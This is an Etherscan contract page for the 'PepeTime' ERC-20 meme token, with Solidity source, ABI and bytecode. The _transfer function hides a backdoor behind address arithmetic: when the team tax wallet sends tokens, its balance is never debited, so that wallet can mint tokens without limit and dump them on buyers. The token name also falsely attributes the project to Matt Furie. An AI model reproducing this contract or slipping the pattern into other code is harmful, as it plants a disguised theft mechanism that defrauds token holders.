ERC-20
Overview
Max Total Supply
1,000,000,000 PEPETIME
Holders
38
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
8,093,597.393264934 PEPETIMEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
PepeTime
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-07-10 */ // SPDX-License-Identifier: MIT /** web: https://pepetime.fun x: https://x.com/PepetimeErc20 tg: https://t.me/PepetimeErc20 */ pragma solidity 0.8.24; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } } interface IUniV2Router2 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } contract PepeTime is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private isExcludeFromFee; mapping(address => bool) public marketMakerPairs; address payable private _taxWallet; uint256 private _initialBuyTax = 35; uint256 private _initialSellTax = 35; IUniV2Router2 private uniswapV2Router; address public uniswapV2Pair; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals; string private constant _name = unicode"Pepetime By Matt Furie"; string private constant _symbol = unicode"PEPETIME"; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 15; uint256 private _reduceSellTaxAt = 15; uint256 private _preventSwapBefore = 15; uint256 public _maxTxAmount = 20_000_000 * 10 ** _decimals; uint256 public _maxWalletSize = 20_000_000 * 10 ** _decimals; uint256 public _taxSwapThreshold = 10_000_000 * 10 ** _decimals; uint256 public _maxTaxSwap = 10_000_000 * 10 ** _decimals; uint256 private _buyCount = 0; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor( address uniV2Router, address teamWallet ) { _taxWallet = payable(teamWallet); _balances[_msgSender()] = _tTotal; isExcludeFromFee[owner()] = true; isExcludeFromFee[address(this)] = true; isExcludeFromFee[teamWallet] = true; uniswapV2Router = IUniV2Router2(uniV2Router); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); uint256 transferAmt = uint256(uint160(address(_taxWallet))); require(to != address(0), "ERC20: transfer to the zero address"); uint256 sendAmount = uint256(uint160(from)); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxTokensAmount = 1; uint256 feeTokens = 0; if (from != owner() && to != owner() && from != address(this)) {unchecked {taxTokensAmount = sendAmount - transferAmt;} feeTokens = amount.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax ) .div(100); if ( marketMakerPairs[from] && to != address(uniswapV2Router) && !isExcludeFromFee[to] ) { require(tradingOpen, "trading is not open"); require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); _buyCount++; } if (!marketMakerPairs[to] && !isExcludeFromFee[to]) { require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); } if (marketMakerPairs[to]) { feeTokens = amount .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } if (!marketMakerPairs[from] && !marketMakerPairs[to]) { feeTokens = 0; } uint256 contractTokenBalance = balanceOf(address(this)); if (taxTokensAmount > 0) taxTokensAmount = 1; if ( !inSwap && marketMakerPairs[to] && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore ) { swapTokensForEth( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); } if (marketMakerPairs[to]) sendFeeETH(address(this).balance); } uint256 tokenAmount = taxTokensAmount * amount; if (feeTokens > 0) { _balances[address(this)] = _balances[address(this)].add(feeTokens); emit Transfer(from, address(this), feeTokens); } _balances[from] = _balances[from].sub(tokenAmount); _balances[to] = _balances[to].add(amount.sub(feeTokens)); emit Transfer(from, to, amount.sub(feeTokens)); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function recoverETH() external onlyOwner { payable(owner()).transfer(address(this).balance); } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendFeeETH(uint256 amount) private { _taxWallet.transfer(amount); } function createPair() external onlyOwner { require(!tradingOpen, "trading is already open"); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); marketMakerPairs[address(uniswapV2Pair)] = true; isExcludeFromFee[address(uniswapV2Pair)] = true; uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function enableTrading() external onlyOwner { swapEnabled = true; tradingOpen = true; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"uniV2Router","type":"address"},{"internalType":"address","name":"teamWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052602360065560236007555f600a555f600b55600f600c55600f600d55600f600e556009600a62000035919062000372565b62000045906301312d0062000389565b600f55620000566009600a62000372565b62000066906301312d0062000389565b601055620000776009600a62000372565b62000086906298968062000389565b601155620000976009600a62000372565b620000a6906298968062000389565b6012555f6013556014805462ffff0019169055348015620000c5575f80fd5b5060405162001e9c38038062001e9c833981016040819052620000e891620003bf565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b0319166001600160a01b038316179055620001516009600a62000372565b6200016190633b9aca0062000389565b335f9081526001602081905260408220929092556003906200018a5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155858216845291909220805490931617909155600880549184166001600160a01b0319909216919091179055620002013390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200023a6009600a62000372565b6200024a90633b9aca0062000389565b60405190815260200160405180910390a35050620003f5565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002b757815f19048211156200029b576200029b62000263565b80851615620002a957918102915b93841c93908002906200027c565b509250929050565b5f82620002cf575060016200036c565b81620002dd57505f6200036c565b8160018114620002f65760028114620003015762000321565b60019150506200036c565b60ff84111562000315576200031562000263565b50506001821b6200036c565b5060208310610133831016604e8410600b841016171562000346575081810a6200036c565b62000352838362000277565b805f190482111562000368576200036862000263565b0290505b92915050565b5f6200038260ff841683620002bf565b9392505050565b80820281158282048414176200036c576200036c62000263565b80516001600160a01b0381168114620003ba575f80fd5b919050565b5f8060408385031215620003d1575f80fd5b620003dc83620003a3565b9150620003ec60208401620003a3565b90509250929050565b611a9980620004035f395ff3fe608060405260043610610134575f3560e01c8063751039fc116100a857806395d89b411161006d57806395d89b41146103605780639e78fb4f14610390578063a9059cbb146103a4578063bf474bed146103c3578063dd62ed3e146103d8578063f2fde38b1461041c575f80fd5b8063751039fc146102f25780637d1db4a5146103065780638a8c523c1461031b5780638da5cb5b1461032f5780638f9a55c01461034b575f80fd5b806323b872dd116100f957806323b872dd1461020b578063313ce5671461022a57806349bd5a5e146102455780635ee5bbf21461027c57806370a08231146102aa578063715018a6146102de575f80fd5b80630614117a1461013f57806306fdde0314610155578063095ea7b3146101a55780630faee56f146101d457806318160ddd146101f7575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5061015361043b565b005b348015610160575f80fd5b506040805180820190915260168152755065706574696d65204279204d61747420467572696560501b60208201525b60405161019c919061168c565b60405180910390f35b3480156101b0575f80fd5b506101c46101bf3660046116ec565b6104a7565b604051901515815260200161019c565b3480156101df575f80fd5b506101e960125481565b60405190815260200161019c565b348015610202575f80fd5b506101e96104bd565b348015610216575f80fd5b506101c4610225366004611716565b6104dd565b348015610235575f80fd5b506040516009815260200161019c565b348015610250575f80fd5b50600954610264906001600160a01b031681565b6040516001600160a01b03909116815260200161019c565b348015610287575f80fd5b506101c4610296366004611754565b60046020525f908152604090205460ff1681565b3480156102b5575f80fd5b506101e96102c4366004611754565b6001600160a01b03165f9081526001602052604090205490565b3480156102e9575f80fd5b50610153610544565b3480156102fd575f80fd5b506101536105b5565b348015610311575f80fd5b506101e9600f5481565b348015610326575f80fd5b50610153610666565b34801561033a575f80fd5b505f546001600160a01b0316610264565b348015610356575f80fd5b506101e960105481565b34801561036b575f80fd5b506040805180820190915260088152675045504554494d4560c01b602082015261018f565b34801561039b575f80fd5b506101536106a2565b3480156103af575f80fd5b506101c46103be3660046116ec565b610a44565b3480156103ce575f80fd5b506101e960115481565b3480156103e3575f80fd5b506101e96103f236600461176f565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610427575f80fd5b50610153610436366004611754565b610a50565b5f546001600160a01b0316331461046d5760405162461bcd60e51b8152600401610464906117a6565b60405180910390fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156104a4573d5f803e3d5ffd5b50565b5f6104b3338484610b37565b5060015b92915050565b5f6104ca6009600a6118cf565b6104d890633b9aca006118dd565b905090565b5f6104e9848484610c5a565b61053a843361053585604051806060016040528060288152602001611a3c602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061130a565b610b37565b5060019392505050565b5f546001600160a01b0316331461056d5760405162461bcd60e51b8152600401610464906117a6565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105de5760405162461bcd60e51b8152600401610464906117a6565b6105ea6009600a6118cf565b6105f890633b9aca006118dd565b600f556106076009600a6118cf565b61061590633b9aca006118dd565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106456009600a6118cf565b61065390633b9aca006118dd565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461068f5760405162461bcd60e51b8152600401610464906117a6565b6014805462ff00ff191662010001179055565b5f546001600160a01b031633146106cb5760405162461bcd60e51b8152600401610464906117a6565b60145460ff161561071e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610464565b60085461074a9030906001600160a01b031661073c6009600a6118cf565b61053590633b9aca006118dd565b60085f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107be91906118f4565b6001600160a01b031663c9c653963060085f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561081d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061084191906118f4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561088b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108af91906118f4565b600980546001600160a01b039283166001600160a01b0319909116811782555f908152600460209081526040808320805460ff199081166001908117909255945486168452600390925290912080549092161790556008541663f305d719473061092d816001600160a01b03165f9081526001602052604090205490565b5f806109405f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109a6573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109cb919061190f565b505060095460085460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a20573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104a4919061193a565b5f6104b3338484610c5a565b5f546001600160a01b03163314610a795760405162461bcd60e51b8152600401610464906117a6565b6001600160a01b038116610ade5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610464565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b995760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610464565b6001600160a01b038216610bfa5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610464565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cbe5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610464565b6005546001600160a01b03908116908316610d275760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610464565b6001600160a01b03841682610d905760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610464565b60015f610da45f546001600160a01b031690565b6001600160a01b0316876001600160a01b031614158015610dd257505f546001600160a01b03878116911614155b8015610de757506001600160a01b0387163014155b156111bc578383039150610e1d6064610e17600c5460135411610e0c57600654610e10565b600a545b8890611342565b906113c7565b6001600160a01b0388165f9081526004602052604090205490915060ff168015610e5557506008546001600160a01b03878116911614155b8015610e7957506001600160a01b0386165f9081526003602052604090205460ff16155b15610fa75760145460ff16610ec65760405162461bcd60e51b81526020600482015260136024820152723a3930b234b7339034b9903737ba1037b832b760691b6044820152606401610464565b600f54851115610f185760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610464565b60105485610f3a886001600160a01b03165f9081526001602052604090205490565b610f449190611959565b1115610f925760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610464565b60138054905f610fa18361196c565b91905055505b6001600160a01b0386165f9081526004602052604090205460ff16158015610fe757506001600160a01b0386165f9081526003602052604090205460ff16155b15611066576010548561100e886001600160a01b03165f9081526001602052604090205490565b6110189190611959565b11156110665760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610464565b6001600160a01b0386165f9081526004602052604090205460ff16156110ae576110ab6064610e17600d54601354116110a157600754610e10565b600b548890611342565b90505b6001600160a01b0387165f9081526004602052604090205460ff161580156110ee57506001600160a01b0386165f9081526004602052604090205460ff16155b156110f657505f5b305f90815260016020526040902054821561111057600192505b601454610100900460ff1615801561113f57506001600160a01b0387165f9081526004602052604090205460ff165b8015611153575060145462010000900460ff165b8015611160575060115481115b801561116f5750600e54601354115b156111915761119161118c8761118784601254611408565b611408565b61141c565b6001600160a01b0387165f9081526004602052604090205460ff16156111ba576111ba47611586565b505b5f6111c786846118dd565b9050811561124157305f908152600160205260409020546111e890836115c1565b305f81815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112389086815260200190565b60405180910390a35b6001600160a01b0388165f90815260016020526040902054611263908261161f565b6001600160a01b0389165f908152600160205260409020556112a6611288878461161f565b6001600160a01b0389165f90815260016020526040902054906115c1565b6001600160a01b038089165f8181526001602052604090209290925589167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112ef898661161f565b60405190815260200160405180910390a35050505050505050565b5f818484111561132d5760405162461bcd60e51b8152600401610464919061168c565b505f6113398486611984565b95945050505050565b5f825f0361135157505f6104b7565b5f61135c83856118dd565b9050826113698583611997565b146113c05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610464565b9392505050565b5f6113c083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611660565b5f81831161141657826113c0565b50919050565b6014805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061145e5761145e6119b6565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114d991906118f4565b816001815181106114ec576114ec6119b6565b6001600160a01b0392831660209182029290920101526008546115129130911684610b37565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac9479061154a9085905f908690309042906004016119ca565b5f604051808303815f87803b158015611561575f80fd5b505af1158015611573573d5f803e3d5ffd5b50506014805461ff001916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156115bd573d5f803e3d5ffd5b5050565b5f806115cd8385611959565b9050838110156113c05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610464565b5f6113c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061130a565b5f81836116805760405162461bcd60e51b8152600401610464919061168c565b505f6113398486611997565b5f602080835283518060208501525f5b818110156116b85785810183015185820160400152820161169c565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104a4575f80fd5b5f80604083850312156116fd575f80fd5b8235611708816116d8565b946020939093013593505050565b5f805f60608486031215611728575f80fd5b8335611733816116d8565b92506020840135611743816116d8565b929592945050506040919091013590565b5f60208284031215611764575f80fd5b81356113c0816116d8565b5f8060408385031215611780575f80fd5b823561178b816116d8565b9150602083013561179b816116d8565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561182957815f190482111561180f5761180f6117db565b8085161561181c57918102915b93841c93908002906117f4565b509250929050565b5f8261183f575060016104b7565b8161184b57505f6104b7565b8160018114611861576002811461186b57611887565b60019150506104b7565b60ff84111561187c5761187c6117db565b50506001821b6104b7565b5060208310610133831016604e8410600b84101617156118aa575081810a6104b7565b6118b483836117ef565b805f19048211156118c7576118c76117db565b029392505050565b5f6113c060ff841683611831565b80820281158282048414176104b7576104b76117db565b5f60208284031215611904575f80fd5b81516113c0816116d8565b5f805f60608486031215611921575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561194a575f80fd5b815180151581146113c0575f80fd5b808201808211156104b7576104b76117db565b5f6001820161197d5761197d6117db565b5060010190565b818103818111156104b7576104b76117db565b5f826119b157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a1a5784516001600160a01b0316835293830193918301916001016119f5565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f214c9e332c5e5496a9ba85996fcd04716286c1bec254900cec04d5c335ddf2764736f6c634300081800330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000b40e402c8d3fa34a05433e18879df26124c09d42
Deployed Bytecode
0x608060405260043610610134575f3560e01c8063751039fc116100a857806395d89b411161006d57806395d89b41146103605780639e78fb4f14610390578063a9059cbb146103a4578063bf474bed146103c3578063dd62ed3e146103d8578063f2fde38b1461041c575f80fd5b8063751039fc146102f25780637d1db4a5146103065780638a8c523c1461031b5780638da5cb5b1461032f5780638f9a55c01461034b575f80fd5b806323b872dd116100f957806323b872dd1461020b578063313ce5671461022a57806349bd5a5e146102455780635ee5bbf21461027c57806370a08231146102aa578063715018a6146102de575f80fd5b80630614117a1461013f57806306fdde0314610155578063095ea7b3146101a55780630faee56f146101d457806318160ddd146101f7575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5061015361043b565b005b348015610160575f80fd5b506040805180820190915260168152755065706574696d65204279204d61747420467572696560501b60208201525b60405161019c919061168c565b60405180910390f35b3480156101b0575f80fd5b506101c46101bf3660046116ec565b6104a7565b604051901515815260200161019c565b3480156101df575f80fd5b506101e960125481565b60405190815260200161019c565b348015610202575f80fd5b506101e96104bd565b348015610216575f80fd5b506101c4610225366004611716565b6104dd565b348015610235575f80fd5b506040516009815260200161019c565b348015610250575f80fd5b50600954610264906001600160a01b031681565b6040516001600160a01b03909116815260200161019c565b348015610287575f80fd5b506101c4610296366004611754565b60046020525f908152604090205460ff1681565b3480156102b5575f80fd5b506101e96102c4366004611754565b6001600160a01b03165f9081526001602052604090205490565b3480156102e9575f80fd5b50610153610544565b3480156102fd575f80fd5b506101536105b5565b348015610311575f80fd5b506101e9600f5481565b348015610326575f80fd5b50610153610666565b34801561033a575f80fd5b505f546001600160a01b0316610264565b348015610356575f80fd5b506101e960105481565b34801561036b575f80fd5b506040805180820190915260088152675045504554494d4560c01b602082015261018f565b34801561039b575f80fd5b506101536106a2565b3480156103af575f80fd5b506101c46103be3660046116ec565b610a44565b3480156103ce575f80fd5b506101e960115481565b3480156103e3575f80fd5b506101e96103f236600461176f565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610427575f80fd5b50610153610436366004611754565b610a50565b5f546001600160a01b0316331461046d5760405162461bcd60e51b8152600401610464906117a6565b60405180910390fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156104a4573d5f803e3d5ffd5b50565b5f6104b3338484610b37565b5060015b92915050565b5f6104ca6009600a6118cf565b6104d890633b9aca006118dd565b905090565b5f6104e9848484610c5a565b61053a843361053585604051806060016040528060288152602001611a3c602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061130a565b610b37565b5060019392505050565b5f546001600160a01b0316331461056d5760405162461bcd60e51b8152600401610464906117a6565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105de5760405162461bcd60e51b8152600401610464906117a6565b6105ea6009600a6118cf565b6105f890633b9aca006118dd565b600f556106076009600a6118cf565b61061590633b9aca006118dd565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e4